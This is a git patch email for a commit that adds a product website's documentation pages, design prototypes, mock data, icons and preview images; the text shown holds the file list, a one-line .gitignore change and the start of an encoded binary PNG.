From 39a7a5fc6fe1e71beb6c1ed2fb47ed25899e3537 Mon Sep 17 00:00:00 2001 From: JOJO <1498581755@qq.com> Date: Wed, 2 Sep 2026 14:38:51 +0800 Subject: [PATCH] =?UTF-8?q?chore(website):=20=E5=BD=92=E6=A1=A3=E5=AE=98?= =?UTF-8?q?=E7=BD=91=E6=96=87=E6=A1=A3=E5=86=85=E5=AE=B9=E4=B8=8E=E8=AE=BE?= =?UTF-8?q?=E8=AE=A1=E7=B4=A0=E6=9D=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - website-content/:官网 10 篇文档内容 + README - website-design/:官网设计稿、动画实验、预览图与资源 - 根目录官网截图两张 - .gitignore 忽略 website-design/exp/static/dist 构建产物(7.1MB) --- .gitignore | 1 + exp-scale-2.png | Bin 0 -> 199660 bytes site-hero.png | Bin 0 -> 81587 bytes website-content/01-quick-start.md | 241 ++++ website-content/02-core-concepts.md | 111 ++ website-content/03-conversations.md | 76 ++ website-content/04-input-context.md | 89 ++ website-content/05-execution-security.md | 86 ++ website-content/06-conversation-assets.md | 68 + website-content/07-agent-capabilities.md | 156 +++ website-content/08-quick-dock.md | 33 + website-content/09-settings.md | 154 +++ website-content/10-cli.md | 36 + website-content/README.md | 31 + .../assets/product-main-classic.png | Bin 0 -> 35167 bytes website-design/assets/product-main.png | Bin 0 -> 30607 bytes website-design/avatar-demo/index.html | 76 ++ website-design/avatar-demo/style.css | 106 ++ website-design/exp/anim-demo.html | 20 + website-design/exp/anim2-demo.html | 49 + website-design/exp/anim3-demo.html | 22 + website-design/exp/anim4-demo.html | 22 + website-design/exp/demo.html | 88 ++ website-design/exp/index.html | 190 +++ .../activity-sub_1_1787459389_fd8265.json | 1 + .../activity-sub_2_1787459391_a9b055.json | 1 + .../activity-sub_3_1787459393_3da5a5.json | 1 + .../bootstrap-conv_20260823_122836_778.json | 1 + .../bootstrap-conv_20260823_133304_218.json | 1 + website-design/exp/mock/conversations-ma.json | 1 + .../exp/mock/conversations-normal.json | 1 + .../exp/mock/file-pixel_art_research.md | 259 ++++ .../exp/mock/file-weapon_research.md | 295 +++++ .../sub-agents-conv_20260823_122836_778.json | 1 + website-design/exp/site-assets/anim-demo.css | 36 + website-design/exp/site-assets/anim-modes.js | 321 +++++ .../exp/site-assets/anim-records.css | 301 +++++ .../exp/site-assets/anim-records.js | 899 +++++++++++++ .../exp/site-assets/anim-sandbox.css | 111 ++ .../exp/site-assets/anim-sandbox.js | 375 ++++++ .../exp/site-assets/anim-shared.css | 278 ++++ .../exp/site-assets/anim-version.css | 269 ++++ .../exp/site-assets/anim-version.js | 1140 +++++++++++++++++ website-design/exp/site-assets/anim3-demo.css | 35 + website-design/exp/site-assets/anim4-demo.css | 36 + .../exp/site-assets/astrion-avatar.css | 47 + .../exp/site-assets/astrion-avatar.js | 250 ++++ website-design/exp/site-assets/shield.svg | 1 + website-design/exp/site-assets/site.css | 549 ++++++++ website-design/exp/site-assets/site.js | 288 +++++ website-design/exp/static/astrion-avatar.svg | 35 + .../exp/static/easter-eggs/flood.css | 38 + .../exp/static/easter-eggs/flood.js | 267 ++++ .../exp/static/easter-eggs/registry.js | 67 + .../exp/static/easter-eggs/snake.css | 13 + .../exp/static/easter-eggs/snake.js | 503 ++++++++ website-design/exp/static/favicon-16x16.png | Bin 0 -> 362 bytes website-design/exp/static/favicon-32x32.png | Bin 0 -> 716 bytes .../exp/static/icons/align-left.svg | 3 + .../exp/static/icons/arrow-left.svg | 14 + website-design/exp/static/icons/bell.svg | 1 + website-design/exp/static/icons/book.svg | 13 + website-design/exp/static/icons/bot.svg | 18 + website-design/exp/static/icons/brain-cog.svg | 1 + website-design/exp/static/icons/brain.svg | 20 + website-design/exp/static/icons/camera.svg | 14 + .../exp/static/icons/chat-bubble.svg | 5 + website-design/exp/static/icons/check.svg | 13 + website-design/exp/static/icons/checkbox.svg | 13 + .../exp/static/icons/chevron-down.svg | 13 + .../exp/static/icons/circle-alert.svg | 15 + website-design/exp/static/icons/clipboard.svg | 14 + website-design/exp/static/icons/clock.svg | 14 + website-design/exp/static/icons/copy.svg | 1 + website-design/exp/static/icons/eye.svg | 14 + website-design/exp/static/icons/file-down.svg | 1 + website-design/exp/static/icons/file-pen.svg | 1 + website-design/exp/static/icons/file.svg | 14 + website-design/exp/static/icons/flag.svg | 13 + .../exp/static/icons/flask-conical.svg | 1 + .../exp/static/icons/folder-closed.svg | 13 + .../exp/static/icons/folder-git-2.svg | 1 + .../exp/static/icons/folder-open.svg | 1 + website-design/exp/static/icons/folder.svg | 13 + .../exp/static/icons/git-branch.svg | 16 + website-design/exp/static/icons/git-fork.svg | 1 + website-design/exp/static/icons/globe.svg | 15 + .../exp/static/icons/graduation-cap.svg | 1 + website-design/exp/static/icons/hammer.svg | 15 + website-design/exp/static/icons/info.svg | 15 + website-design/exp/static/icons/keyboard.svg | 1 + website-design/exp/static/icons/laptop.svg | 14 + website-design/exp/static/icons/layers.svg | 1 + .../exp/static/icons/layout-grid.svg | 16 + website-design/exp/static/icons/mcp-logo.svg | 12 + website-design/exp/static/icons/menu.svg | 15 + .../icons/message-circle-question-mark.svg | 1 + website-design/exp/static/icons/mic.svg | 1 + website-design/exp/static/icons/monitor.svg | 15 + .../exp/static/icons/mouse-pointer-2.svg | 1 + .../exp/static/icons/mouse-pointer-click.svg | 1 + .../exp/static/icons/navigation.svg | 1 + .../exp/static/icons/notebook-pen.svg | 1 + .../exp/static/icons/notebook-search.svg | 1 + website-design/exp/static/icons/notebook.svg | 1 + website-design/exp/static/icons/octagon.svg | 13 + website-design/exp/static/icons/pencil.svg | 14 + website-design/exp/static/icons/play.svg | 13 + website-design/exp/static/icons/plus.svg | 14 + website-design/exp/static/icons/python.svg | 1 + website-design/exp/static/icons/recycle.svg | 18 + .../exp/static/icons/refresh-cw.svg | 1 + website-design/exp/static/icons/save.svg | 15 + website-design/exp/static/icons/search.svg | 14 + website-design/exp/static/icons/settings.svg | 14 + website-design/exp/static/icons/sparkles.svg | 16 + .../exp/static/icons/sticky-note.svg | 14 + website-design/exp/static/icons/terminal.svg | 14 + website-design/exp/static/icons/trash.svg | 15 + .../exp/static/icons/triangle-alert.svg | 15 + website-design/exp/static/icons/user-pen.svg | 1 + website-design/exp/static/icons/user.svg | 14 + website-design/exp/static/icons/workflow.svg | 24 + website-design/exp/static/icons/wrench.svg | 13 + website-design/exp/static/icons/x.svg | 14 + website-design/exp/static/icons/zap.svg | 13 + website-design/exp/static/security.js | 109 ++ website-design/exp/static/style.css | 2 + website-design/exp/sw.js | 207 +++ website-design/exp/test-scale.html | 57 + website-design/previews/anim2-scene-v2.png | Bin 0 -> 29463 bytes website-design/previews/anim2-scene.png | Bin 0 -> 29519 bytes website-design/previews/anim2-v3-flight.png | Bin 0 -> 29983 bytes website-design/previews/anim2-v4-flight.png | Bin 0 -> 30044 bytes website-design/previews/anim2-v5-flight.png | Bin 0 -> 62385 bytes website-design/previews/anim2-v5-impact.png | Bin 0 -> 76105 bytes website-design/previews/anim2-v5-network.png | Bin 0 -> 98316 bytes website-design/previews/anim2-v6-net.png | Bin 0 -> 85675 bytes website-design/previews/anim2-v6-t13.png | Bin 0 -> 63253 bytes website-design/previews/anim2-v6-t20.png | Bin 0 -> 67195 bytes website-design/previews/anim2-v6-t29.png | Bin 0 -> 62487 bytes website-design/previews/anim2-v7-end.png | Bin 0 -> 71777 bytes website-design/previews/anim2-v7-t15.png | Bin 0 -> 60101 bytes website-design/previews/anim2-v7-t21.png | Bin 0 -> 75636 bytes website-design/previews/anim2-v7-t32.png | Bin 0 -> 60299 bytes website-design/previews/anim3-v1-t0.png | Bin 0 -> 49942 bytes website-design/previews/anim3-v1-t1.png | Bin 0 -> 49213 bytes website-design/previews/anim3-v1-t2.png | Bin 0 -> 47888 bytes website-design/previews/anim3-v1-t3.png | Bin 0 -> 53126 bytes website-design/previews/anim3-v2-t0.png | Bin 0 -> 45065 bytes website-design/previews/anim3-v2-t1.png | Bin 0 -> 42670 bytes website-design/previews/anim3-v2-t2.png | Bin 0 -> 42589 bytes website-design/previews/anim3-v2-t3.png | Bin 0 -> 52298 bytes website-design/previews/anim3-v3-t0.png | Bin 0 -> 44997 bytes website-design/previews/anim3-v3-t1.png | Bin 0 -> 47301 bytes website-design/previews/anim3-v4-t0.png | Bin 0 -> 16553 bytes website-design/previews/anim3-v4-t1.png | Bin 0 -> 16794 bytes website-design/previews/anim3-v4-t2.png | Bin 0 -> 17428 bytes .../previews/anim3-v5-erase-mid.png | Bin 0 -> 16887 bytes website-design/previews/anim3-v5-erase.png | Bin 0 -> 16592 bytes website-design/previews/anim3-v5-final.png | Bin 0 -> 20670 bytes website-design/previews/anim3-v5-write.png | Bin 0 -> 17455 bytes website-design/previews/anim3-v6-penzoom.png | Bin 0 -> 3448 bytes website-design/previews/anim3-v6-penzoom2.png | Bin 0 -> 2184 bytes website-design/previews/anim3-v6-t0.png | Bin 0 -> 16919 bytes website-design/previews/anim3-v6-t0b.png | Bin 0 -> 16889 bytes website-design/previews/anim3-v7-clean.png | Bin 0 -> 17354 bytes website-design/previews/anim3-v7-erase.png | Bin 0 -> 16686 bytes website-design/previews/anim3-v7-final.png | Bin 0 -> 20641 bytes website-design/previews/anim3-v7-flip.png | Bin 0 -> 17224 bytes website-design/previews/anim3-v7-home.png | Bin 0 -> 4431 bytes website-design/previews/anim3-v7-write.png | Bin 0 -> 17375 bytes .../previews/anim3-v8-erasezoom.png | Bin 0 -> 3009 bytes website-design/previews/anim3-v8-final.png | Bin 0 -> 20629 bytes website-design/previews/anim3-v8-home.png | Bin 0 -> 3899 bytes website-design/previews/anim3-v8-nibzoom.png | Bin 0 -> 2742 bytes .../previews/anim3-v8-writezoom.png | Bin 0 -> 2668 bytes website-design/previews/avatar-demo.png | Bin 0 -> 64664 bytes website-design/previews/box-front-shape.png | Bin 0 -> 1911 bytes .../previews/exp-agent-detail-2.png | Bin 0 -> 227397 bytes website-design/previews/exp-agent-detail.png | Bin 0 -> 135486 bytes website-design/previews/exp-demo-1.png | Bin 0 -> 134159 bytes website-design/previews/exp-demo-2.png | Bin 0 -> 129516 bytes website-design/previews/exp-demo-3.png | Bin 0 -> 151956 bytes website-design/previews/exp-dock-check.png | Bin 0 -> 30163 bytes website-design/previews/exp-dock-open.png | Bin 0 -> 166030 bytes website-design/previews/exp-scale-1.png | Bin 0 -> 34920 bytes website-design/previews/flash-00.png | Bin 0 -> 28742 bytes website-design/previews/flash-01.png | Bin 0 -> 31131 bytes website-design/previews/flash-02.png | Bin 0 -> 30972 bytes website-design/previews/flash-03.png | Bin 0 -> 30456 bytes website-design/previews/flash-04.png | Bin 0 -> 29160 bytes website-design/previews/flash-05.png | Bin 0 -> 29960 bytes website-design/previews/flash-06.png | Bin 0 -> 30631 bytes website-design/previews/flash-07.png | Bin 0 -> 30771 bytes website-design/previews/flash-08.png | Bin 0 -> 30814 bytes website-design/previews/flash-09.png | Bin 0 -> 28754 bytes website-design/previews/flash-10.png | Bin 0 -> 26210 bytes website-design/previews/flash-11.png | Bin 0 -> 23796 bytes website-design/previews/flip-f0.png | Bin 0 -> 2569 bytes website-design/previews/flip-f1.png | Bin 0 -> 3163 bytes website-design/previews/flip-f2.png | Bin 0 -> 2807 bytes website-design/previews/flip-f3.png | Bin 0 -> 2718 bytes website-design/previews/flip-f4.png | Bin 0 -> 2815 bytes website-design/previews/flip-f5.png | Bin 0 -> 2766 bytes website-design/previews/home-02-anim.png | Bin 0 -> 43964 bytes website-design/previews/quickdock-fixed.png | Bin 0 -> 227071 bytes .../previews/site-anim-integrated.png | Bin 0 -> 94809 bytes .../previews/site-demo-filepreview.png | Bin 0 -> 152587 bytes website-design/previews/site-demo-v2.png | Bin 0 -> 119543 bytes website-design/previews/site-demo-v3.png | Bin 0 -> 152766 bytes website-design/previews/site-features-v2.png | Bin 0 -> 59724 bytes website-design/previews/site-features-v3.png | Bin 0 -> 91137 bytes website-design/previews/site-features-v4.png | Bin 0 -> 76520 bytes website-design/previews/site-full-v2.png | Bin 0 -> 252409 bytes website-design/previews/site-hero-v2.png | Bin 0 -> 76697 bytes website-design/previews/swap-f0.png | Bin 0 -> 3925 bytes website-design/previews/swap-f1.png | Bin 0 -> 4042 bytes website-design/previews/swap-f2.png | Bin 0 -> 3949 bytes website-design/previews/swap-f3.png | Bin 0 -> 3910 bytes website-design/previews/swap-f4.png | Bin 0 -> 4420 bytes website-design/previews/v1-editorial-full.png | Bin 0 -> 422114 bytes website-design/previews/v1-editorial-hero.png | Bin 0 -> 61847 bytes website-design/previews/v2-stardust-full.png | Bin 0 -> 356621 bytes website-design/previews/v2-stardust-hero.png | Bin 0 -> 64199 bytes website-design/previews/v3-terminal-full.png | Bin 0 -> 254082 bytes website-design/previews/v4-full.png | Bin 0 -> 479300 bytes website-design/previews/v4-hero.png | Bin 0 -> 43356 bytes website-design/shared/astrion-avatar.css | 47 + website-design/shared/astrion-avatar.js | 165 +++ website-design/site-manual/css/style.css | 308 +++++ website-design/site-manual/index.html | 143 +++ website-design/site-manual/js/main.js | 55 + website-design/site-timeline/css/style.css | 346 +++++ website-design/site-timeline/index.html | 135 ++ website-design/site-timeline/js/main.js | 48 + website-design/site/css/style.css | 650 ++++++++++ website-design/site/index.html | 284 ++++ website-design/site/js/main.js | 180 +++ .../assets/product-main-classic.png | Bin 0 -> 35167 bytes website-design/v1-editorial/css/style.css | 302 +++++ website-design/v1-editorial/index.html | 234 ++++ website-design/v1-editorial/js/main.js | 90 ++ .../v2-stardust/assets/product-main.png | Bin 0 -> 30607 bytes website-design/v2-stardust/css/style.css | 252 ++++ website-design/v2-stardust/index.html | 242 ++++ website-design/v2-stardust/js/main.js | 142 ++ .../assets/product-main-classic.png | Bin 0 -> 35167 bytes website-design/v3-terminal/css/style.css | 188 +++ website-design/v3-terminal/index.html | 184 +++ website-design/v3-terminal/js/main.js | 69 + 251 files changed, 13174 insertions(+) create mode 100644 exp-scale-2.png create mode 100644 site-hero.png create mode 100644 website-content/01-quick-start.md create mode 100644 website-content/02-core-concepts.md create mode 100644 website-content/03-conversations.md create mode 100644 website-content/04-input-context.md create mode 100644 website-content/05-execution-security.md create mode 100644 website-content/06-conversation-assets.md create mode 100644 website-content/07-agent-capabilities.md create mode 100644 website-content/08-quick-dock.md create mode 100644 website-content/09-settings.md create mode 100644 website-content/10-cli.md create mode 100644 website-content/README.md create mode 100644 website-design/assets/product-main-classic.png create mode 100644 website-design/assets/product-main.png create mode 100644 website-design/avatar-demo/index.html create mode 100644 website-design/avatar-demo/style.css create mode 100644 website-design/exp/anim-demo.html create mode 100644 website-design/exp/anim2-demo.html create mode 100644 website-design/exp/anim3-demo.html create mode 100644 website-design/exp/anim4-demo.html create mode 100644 website-design/exp/demo.html create mode 100644 website-design/exp/index.html create mode 100644 website-design/exp/mock/activity-sub_1_1787459389_fd8265.json create mode 100644 website-design/exp/mock/activity-sub_2_1787459391_a9b055.json create mode 100644 website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json create mode 100644 website-design/exp/mock/bootstrap-conv_20260823_122836_778.json create mode 100644 website-design/exp/mock/bootstrap-conv_20260823_133304_218.json create mode 100644 website-design/exp/mock/conversations-ma.json create mode 100644 website-design/exp/mock/conversations-normal.json create mode 100644 website-design/exp/mock/file-pixel_art_research.md create mode 100644 website-design/exp/mock/file-weapon_research.md create mode 100644 website-design/exp/mock/sub-agents-conv_20260823_122836_778.json create mode 100644 website-design/exp/site-assets/anim-demo.css create mode 100644 website-design/exp/site-assets/anim-modes.js create mode 100644 website-design/exp/site-assets/anim-records.css create mode 100644 website-design/exp/site-assets/anim-records.js create mode 100644 website-design/exp/site-assets/anim-sandbox.css create mode 100644 website-design/exp/site-assets/anim-sandbox.js create mode 100644 website-design/exp/site-assets/anim-shared.css create mode 100644 website-design/exp/site-assets/anim-version.css create mode 100644 website-design/exp/site-assets/anim-version.js create mode 100644 website-design/exp/site-assets/anim3-demo.css create mode 100644 website-design/exp/site-assets/anim4-demo.css create mode 100644 website-design/exp/site-assets/astrion-avatar.css create mode 100644 website-design/exp/site-assets/astrion-avatar.js create mode 100644 website-design/exp/site-assets/shield.svg create mode 100644 website-design/exp/site-assets/site.css create mode 100644 website-design/exp/site-assets/site.js create mode 100644 website-design/exp/static/astrion-avatar.svg create mode 100644 website-design/exp/static/easter-eggs/flood.css create mode 100644 website-design/exp/static/easter-eggs/flood.js create mode 100644 website-design/exp/static/easter-eggs/registry.js create mode 100644 website-design/exp/static/easter-eggs/snake.css create mode 100644 website-design/exp/static/easter-eggs/snake.js create mode 100644 website-design/exp/static/favicon-16x16.png create mode 100644 website-design/exp/static/favicon-32x32.png create mode 100644 website-design/exp/static/icons/align-left.svg create mode 100644 website-design/exp/static/icons/arrow-left.svg create mode 100644 website-design/exp/static/icons/bell.svg create mode 100644 website-design/exp/static/icons/book.svg create mode 100644 website-design/exp/static/icons/bot.svg create mode 100644 website-design/exp/static/icons/brain-cog.svg create mode 100644 website-design/exp/static/icons/brain.svg create mode 100644 website-design/exp/static/icons/camera.svg create mode 100644 website-design/exp/static/icons/chat-bubble.svg create mode 100644 website-design/exp/static/icons/check.svg create mode 100644 website-design/exp/static/icons/checkbox.svg create mode 100644 website-design/exp/static/icons/chevron-down.svg create mode 100644 website-design/exp/static/icons/circle-alert.svg create mode 100644 website-design/exp/static/icons/clipboard.svg create mode 100644 website-design/exp/static/icons/clock.svg create mode 100644 website-design/exp/static/icons/copy.svg create mode 100644 website-design/exp/static/icons/eye.svg create mode 100644 website-design/exp/static/icons/file-down.svg create mode 100644 website-design/exp/static/icons/file-pen.svg create mode 100644 website-design/exp/static/icons/file.svg create mode 100644 website-design/exp/static/icons/flag.svg create mode 100644 website-design/exp/static/icons/flask-conical.svg create mode 100644 website-design/exp/static/icons/folder-closed.svg create mode 100644 website-design/exp/static/icons/folder-git-2.svg create mode 100644 website-design/exp/static/icons/folder-open.svg create mode 100644 website-design/exp/static/icons/folder.svg create mode 100644 website-design/exp/static/icons/git-branch.svg create mode 100644 website-design/exp/static/icons/git-fork.svg create mode 100644 website-design/exp/static/icons/globe.svg create mode 100644 website-design/exp/static/icons/graduation-cap.svg create mode 100644 website-design/exp/static/icons/hammer.svg create mode 100644 website-design/exp/static/icons/info.svg create mode 100644 website-design/exp/static/icons/keyboard.svg create mode 100644 website-design/exp/static/icons/laptop.svg create mode 100644 website-design/exp/static/icons/layers.svg create mode 100644 website-design/exp/static/icons/layout-grid.svg create mode 100644 website-design/exp/static/icons/mcp-logo.svg create mode 100644 website-design/exp/static/icons/menu.svg create mode 100644 website-design/exp/static/icons/message-circle-question-mark.svg create mode 100644 website-design/exp/static/icons/mic.svg create mode 100644 website-design/exp/static/icons/monitor.svg create mode 100644 website-design/exp/static/icons/mouse-pointer-2.svg create mode 100644 website-design/exp/static/icons/mouse-pointer-click.svg create mode 100644 website-design/exp/static/icons/navigation.svg create mode 100644 website-design/exp/static/icons/notebook-pen.svg create mode 100644 website-design/exp/static/icons/notebook-search.svg create mode 100644 website-design/exp/static/icons/notebook.svg create mode 100644 website-design/exp/static/icons/octagon.svg create mode 100644 website-design/exp/static/icons/pencil.svg create mode 100644 website-design/exp/static/icons/play.svg create mode 100644 website-design/exp/static/icons/plus.svg create mode 100644 website-design/exp/static/icons/python.svg create mode 100644 website-design/exp/static/icons/recycle.svg create mode 100644 website-design/exp/static/icons/refresh-cw.svg create mode 100644 website-design/exp/static/icons/save.svg create mode 100644 website-design/exp/static/icons/search.svg create mode 100644 website-design/exp/static/icons/settings.svg create mode 100644 website-design/exp/static/icons/sparkles.svg create mode 100644 website-design/exp/static/icons/sticky-note.svg create mode 100644 website-design/exp/static/icons/terminal.svg create mode 100644 website-design/exp/static/icons/trash.svg create mode 100644 website-design/exp/static/icons/triangle-alert.svg create mode 100644 website-design/exp/static/icons/user-pen.svg create mode 100644 website-design/exp/static/icons/user.svg create mode 100644 website-design/exp/static/icons/workflow.svg create mode 100644 website-design/exp/static/icons/wrench.svg create mode 100644 website-design/exp/static/icons/x.svg create mode 100644 website-design/exp/static/icons/zap.svg create mode 100644 website-design/exp/static/security.js create mode 100644 website-design/exp/static/style.css create mode 100644 website-design/exp/sw.js create mode 100644 website-design/exp/test-scale.html create mode 100644 website-design/previews/anim2-scene-v2.png create mode 100644 website-design/previews/anim2-scene.png create mode 100644 website-design/previews/anim2-v3-flight.png create mode 100644 website-design/previews/anim2-v4-flight.png create mode 100644 website-design/previews/anim2-v5-flight.png create mode 100644 website-design/previews/anim2-v5-impact.png create mode 100644 website-design/previews/anim2-v5-network.png create mode 100644 website-design/previews/anim2-v6-net.png create mode 100644 website-design/previews/anim2-v6-t13.png create mode 100644 website-design/previews/anim2-v6-t20.png create mode 100644 website-design/previews/anim2-v6-t29.png create mode 100644 website-design/previews/anim2-v7-end.png create mode 100644 website-design/previews/anim2-v7-t15.png create mode 100644 website-design/previews/anim2-v7-t21.png create mode 100644 website-design/previews/anim2-v7-t32.png create mode 100644 website-design/previews/anim3-v1-t0.png create mode 100644 website-design/previews/anim3-v1-t1.png create mode 100644 website-design/previews/anim3-v1-t2.png create mode 100644 website-design/previews/anim3-v1-t3.png create mode 100644 website-design/previews/anim3-v2-t0.png create mode 100644 website-design/previews/anim3-v2-t1.png create mode 100644 website-design/previews/anim3-v2-t2.png create mode 100644 website-design/previews/anim3-v2-t3.png create mode 100644 website-design/previews/anim3-v3-t0.png create mode 100644 website-design/previews/anim3-v3-t1.png create mode 100644 website-design/previews/anim3-v4-t0.png create mode 100644 website-design/previews/anim3-v4-t1.png create mode 100644 website-design/previews/anim3-v4-t2.png create mode 100644 website-design/previews/anim3-v5-erase-mid.png create mode 100644 website-design/previews/anim3-v5-erase.png create mode 100644 website-design/previews/anim3-v5-final.png create mode 100644 website-design/previews/anim3-v5-write.png create mode 100644 website-design/previews/anim3-v6-penzoom.png create mode 100644 website-design/previews/anim3-v6-penzoom2.png create mode 100644 website-design/previews/anim3-v6-t0.png create mode 100644 website-design/previews/anim3-v6-t0b.png create mode 100644 website-design/previews/anim3-v7-clean.png create mode 100644 website-design/previews/anim3-v7-erase.png create mode 100644 website-design/previews/anim3-v7-final.png create mode 100644 website-design/previews/anim3-v7-flip.png create mode 100644 website-design/previews/anim3-v7-home.png create mode 100644 website-design/previews/anim3-v7-write.png create mode 100644 website-design/previews/anim3-v8-erasezoom.png create mode 100644 website-design/previews/anim3-v8-final.png create mode 100644 website-design/previews/anim3-v8-home.png create mode 100644 website-design/previews/anim3-v8-nibzoom.png create mode 100644 website-design/previews/anim3-v8-writezoom.png create mode 100644 website-design/previews/avatar-demo.png create mode 100644 website-design/previews/box-front-shape.png create mode 100644 website-design/previews/exp-agent-detail-2.png create mode 100644 website-design/previews/exp-agent-detail.png create mode 100644 website-design/previews/exp-demo-1.png create mode 100644 website-design/previews/exp-demo-2.png create mode 100644 website-design/previews/exp-demo-3.png create mode 100644 website-design/previews/exp-dock-check.png create mode 100644 website-design/previews/exp-dock-open.png create mode 100644 website-design/previews/exp-scale-1.png create mode 100644 website-design/previews/flash-00.png create mode 100644 website-design/previews/flash-01.png create mode 100644 website-design/previews/flash-02.png create mode 100644 website-design/previews/flash-03.png create mode 100644 website-design/previews/flash-04.png create mode 100644 website-design/previews/flash-05.png create mode 100644 website-design/previews/flash-06.png create mode 100644 website-design/previews/flash-07.png create mode 100644 website-design/previews/flash-08.png create mode 100644 website-design/previews/flash-09.png create mode 100644 website-design/previews/flash-10.png create mode 100644 website-design/previews/flash-11.png create mode 100644 website-design/previews/flip-f0.png create mode 100644 website-design/previews/flip-f1.png create mode 100644 website-design/previews/flip-f2.png create mode 100644 website-design/previews/flip-f3.png create mode 100644 website-design/previews/flip-f4.png create mode 100644 website-design/previews/flip-f5.png create mode 100644 website-design/previews/home-02-anim.png create mode 100644 website-design/previews/quickdock-fixed.png create mode 100644 website-design/previews/site-anim-integrated.png create mode 100644 website-design/previews/site-demo-filepreview.png create mode 100644 website-design/previews/site-demo-v2.png create mode 100644 website-design/previews/site-demo-v3.png create mode 100644 website-design/previews/site-features-v2.png create mode 100644 website-design/previews/site-features-v3.png create mode 100644 website-design/previews/site-features-v4.png create mode 100644 website-design/previews/site-full-v2.png create mode 100644 website-design/previews/site-hero-v2.png create mode 100644 website-design/previews/swap-f0.png create mode 100644 website-design/previews/swap-f1.png create mode 100644 website-design/previews/swap-f2.png create mode 100644 website-design/previews/swap-f3.png create mode 100644 website-design/previews/swap-f4.png create mode 100644 website-design/previews/v1-editorial-full.png create mode 100644 website-design/previews/v1-editorial-hero.png create mode 100644 website-design/previews/v2-stardust-full.png create mode 100644 website-design/previews/v2-stardust-hero.png create mode 100644 website-design/previews/v3-terminal-full.png create mode 100644 website-design/previews/v4-full.png create mode 100644 website-design/previews/v4-hero.png create mode 100644 website-design/shared/astrion-avatar.css create mode 100644 website-design/shared/astrion-avatar.js create mode 100644 website-design/site-manual/css/style.css create mode 100644 website-design/site-manual/index.html create mode 100644 website-design/site-manual/js/main.js create mode 100644 website-design/site-timeline/css/style.css create mode 100644 website-design/site-timeline/index.html create mode 100644 website-design/site-timeline/js/main.js create mode 100644 website-design/site/css/style.css create mode 100644 website-design/site/index.html create mode 100644 website-design/site/js/main.js create mode 100644 website-design/v1-editorial/assets/product-main-classic.png create mode 100644 website-design/v1-editorial/css/style.css create mode 100644 website-design/v1-editorial/index.html create mode 100644 website-design/v1-editorial/js/main.js create mode 100644 website-design/v2-stardust/assets/product-main.png create mode 100644 website-design/v2-stardust/css/style.css create mode 100644 website-design/v2-stardust/index.html create mode 100644 website-design/v2-stardust/js/main.js create mode 100644 website-design/v3-terminal/assets/product-main-classic.png create mode 100644 website-design/v3-terminal/css/style.css create mode 100644 website-design/v3-terminal/index.html create mode 100644 website-design/v3-terminal/js/main.js diff --git a/.gitignore b/.gitignore index 196407e9..d378e1bb 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,4 @@ test/deepseek_ocr_tutorial.md # 运行态缓存 cache/ +website-design/exp/static/dist/ diff --git a/exp-scale-2.png b/exp-scale-2.png new file mode 100644 index 0000000000000000000000000000000000000000..13c2a370774af21c98b22e44c73741c4451d997a GIT binary patch literal 199660 zcmeFZ^;?u(+cr!iA!8AeDiTUd=YXgvsUQL(42YC8NHa5pfQW!}mqjDq8lqsT1&zRoYym3ei&b*lS?^(|ycOsRH28?~95 z?0eYIRb1jUa_e6MKh!b&uOEru%Im)T@3_YA@iXhcL;2_!egrCTAJ3}4cl^i?j`?FHp1fZG(#nuI!~!zE4*6oJB!cUh zwe#0bG?Y^MHyVA>o{g>eF+M1=ICj!$HbpZJF}dL?B{fb-ri8NgoW2=$Unx@}`+Q(b zdwO>AK{%+$=&2aF@p;Zb}Bbhwyit*6@kQ~wsr^rV;;OEcxERdD;rbBWrql4Ua6kHx7{miG>+ zBq!q2O`1VNE4sdLfAp==x^obj#H5s?}w5s0cs!WH@I?0n=XO z70^Wn$@H_4c94|Rx6bfs|Dn2-m_Q%OExq7zsqG1%vILuGIW66JBb+HAJrNXCUv0<=}%HJ+5QghyXK%klXRPFM=x#~ zhlV_xm4}_8nk{OiCC693EWiBjCgEr=o~LN4nJHHRHQNr$2Yv5yF3&_xQxm+GxXn~p z28h#gPG;Iyt{-Uoh@e*Z=_mFwZYrUfR64+Xd-<{9 zT<}(Ay!laYC8Hff3Yg?dZ+(SOB|@XD1%Fm0V$KuFC8slXesNELZE7|!{BpwpB*G=# zmS%)m*(~2bpI||FyIC#Ae)Wg{XovRl4bo8ca*U11J1@aGfjgZ!%)&{{m^SZ|WS%JC zIaV7!J0UyjrM|2gfxeb;NA^7HLw%jUeyLI2i)q$pFE({$SHsqSKet&x3xx`$`EIv2 z48f5pdH(|`h(YtRikudFwlM*+c8fpFyD>Xj-*hnB(dj4#+Y06&M_wl z20y48({HO3gwnAhmQ{5k-gaBfcGpU@)o_LP)JS(E=Vx4z->=}Kn;aS-&ofWw`J?u3 zr`%#)XkXl!&s>d+-C(J8cuSa2-_%tILCvvUHGwxG!@3pJr`*|PJm~4ZxNM$!BjghQ zm`f;gdNewfPXWE#X1gj8qZcwkF)*g3fyhk+4CRmKCzHykoAi6W01#8!Ql^BeNSJs`1%i-W&Gw0Oz`IoaF1)D zbO^E|XTp*L6dO8p&indWpNlqm;CR1BlpeO=1KMujx}zs2-UR7}aK9=ia|WWN+1XjU zVa_kU$*z`DP77~eEuf1m$SG1|aJKVhW?_wVJWaUBUb%h%>};oWYppQ_HEe#<({9c1 ze;H7gz%O7(yncFQ R4h`#B5{Y3@2hN)3x9b(YG)hzVb=X^Foz7#6GRZvcTy2b80 zem4gaeB1pJ7xmr)e3mw*{_eW!Sw0(q6M+%IjH^8pimJfPNJ6{&T*hQpk~$Kan)XXB z9RFq-`&7OW9Jcm}9Y+iR#j~r|$Yo;s;glQvTlWz+k5)cr7c^B^DSqp(*^^Q{n|_Z% z5bJyzvFe`0+aXpCp$rUE{k8{ahc>D5puZ64*iFQO=OsA=mCA-#*(yaokzn;*58KMq zN+tohqgb_lmPTYGzH@npGjC;rcMD4H-`V~tE?`hXtgBK?*V1>Fy{X$3e9UKbr*ja6 zNA*rzgl!{dNMh(&8h8_99-;E{ZL?JewxMd1y`F&4k=b2}Qi$kMj=00CfIkbL9(}>b z-at6(J!MFt(c3428|_C5fE@O0?QLola1%i{D1XWaN5@_ynD_SgS3G6$V|5dM$<5*c z0OAGdtq&a392_K{J>bk2&l1awZoaX{B}gq{yRmz2rUq@<(f+3YFrLhb6xDDd&J}c+ z_?&mkR$SV_QQnKQm+l7zF4T;%TM_<2d=5zx39PT7Yy&VlG 